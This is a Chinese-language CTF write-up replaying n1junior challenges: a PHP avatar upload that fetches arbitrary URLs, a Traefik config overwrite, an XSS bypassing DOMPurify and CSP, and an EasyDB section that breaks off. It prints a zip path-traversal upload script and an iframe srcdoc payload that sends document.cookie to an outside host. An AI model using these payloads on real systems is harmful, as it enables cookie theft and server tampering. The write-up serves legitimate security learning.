前言#
最近比较忙,n1junior当时报名了没去打,现在来复现一下,感谢bao师傅提供的附件
Gavatar#
upload.php:
<?php
require_once 'common.php';
$user = getCurrentUser();
if (!$user) header('Location: index.php');
$avatarDir = __DIR__ . '/avatars';
if (!is_dir($avatarDir)) mkdir($avatarDir, 0755);
$avatarPath = "$avatarDir/{$user['id']}";
if (!empty($_FILES['avatar']['tmp_name'])) {
$finfo = new finfo(FILEINFO_MIME_TYPE);
if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
die('Invalid file type');
}
move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
} elseif (!empty($_POST['url'])) {
$image = @file_get_contents($_POST['url']);
if ($image === false) die('Invalid URL');
file_put_contents($avatarPath, $image);
}
header('Location: profile.php');
最后可以只传url,直接post传
traefik#
主要考了一个traefik的动态代理转发还有本地xff伪造。
我们通过查看doc可以看到traefik的动态配置是可以实时更新的。
# Dynamic configuration
http:
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
所以我们需要加一个路由
flag:
rule: Path('/flag')
entrypoints: [web]
service: proxy
注意一下要写一个middlewares加一个hearder就行了 然后看到源码:
from zipfile import ZipFile
import zipfile
import requests
binary=open("dynamic.yml","r").read()
with zipfile.ZipFile("test.zip", "w", zipfile.ZIP_DEFLATED) as zipf:
zipf.writestr("./../../.config/dynamic.yml", binary)
print(f"[+] ZIP 文件生成完成")
def upload():
files = {"file": ("test.zip", open("test.zip", "rb"), "application/zip")}
res = requests.post(url = "http://192.168.174.128/public/upload" ,files = files)
if res.status_code == 200:
print("文件上传成功!")
if __name__ == "__main__":
upload()
res = requests.get(url = "http://192.168.174.128/flag")
print(res.text)
display#
很明显的一道xss题,大家说挺好玩的我就来玩玩了 这里用了DOMpurify来对标签进行过滤, hints: 用iframe嵌入子页面可以重新唤起DOM解析器解析script标签
先看一下index路由
if (queryText) {
const sanitizedText = sanitizeContent(atob(decodeURI(queryText)));
if (sanitizedText.length > 0) {
textInput.innerHTML = sanitizedText; // 写入预览区
contentDisplay.innerHTML = textInput.innerText; // 写入效果显示区
insertButton.disabled = false;
} else {
textInput.innerText = "Only allow h1, h2 tags and plain text";
}
}
用的是textInput
文本作为输入,然后base64编码一下,测试:
csp策略:
const csp = "script-src 'self'; object-src 'none'; base-uri 'none';";
index.js中设置了dompurify,限制了只能用h1和h2标签
app.use((req, res) => {
res.status(200).type('text/plain').send(`${decodeURI(req.path)} : invalid path`);
}); // 404 页面
所以其实就是打404页面然后让其解析为html即可。 文章: https://www.justus.pw/writeups/sekai-ctf/tagless.html 然后标签就用实体化编码绕过就行,因为是text 最后就是iframe+srcdoc
最后playload:
<iframe srcdoc="<script src='**/fetch(
http://ip/+document.cookie);//'></script>">
当然这里的实体化编码也可以用别的方式来写,然后闭合前面的/
也可以利用换行来绕。
但是不知道为什么我这里打bot打不通,但是index可以打的通,可能是环境问题
EasyDB#
来到我最不擅长的java了,但是总得面对吧,一步步来吧
DOCKER_BUILDKIT=1 docker-compose up -d
先起一个环境,去吃个饭,晚点来继续搞
很简单判断是H2数据库
login路由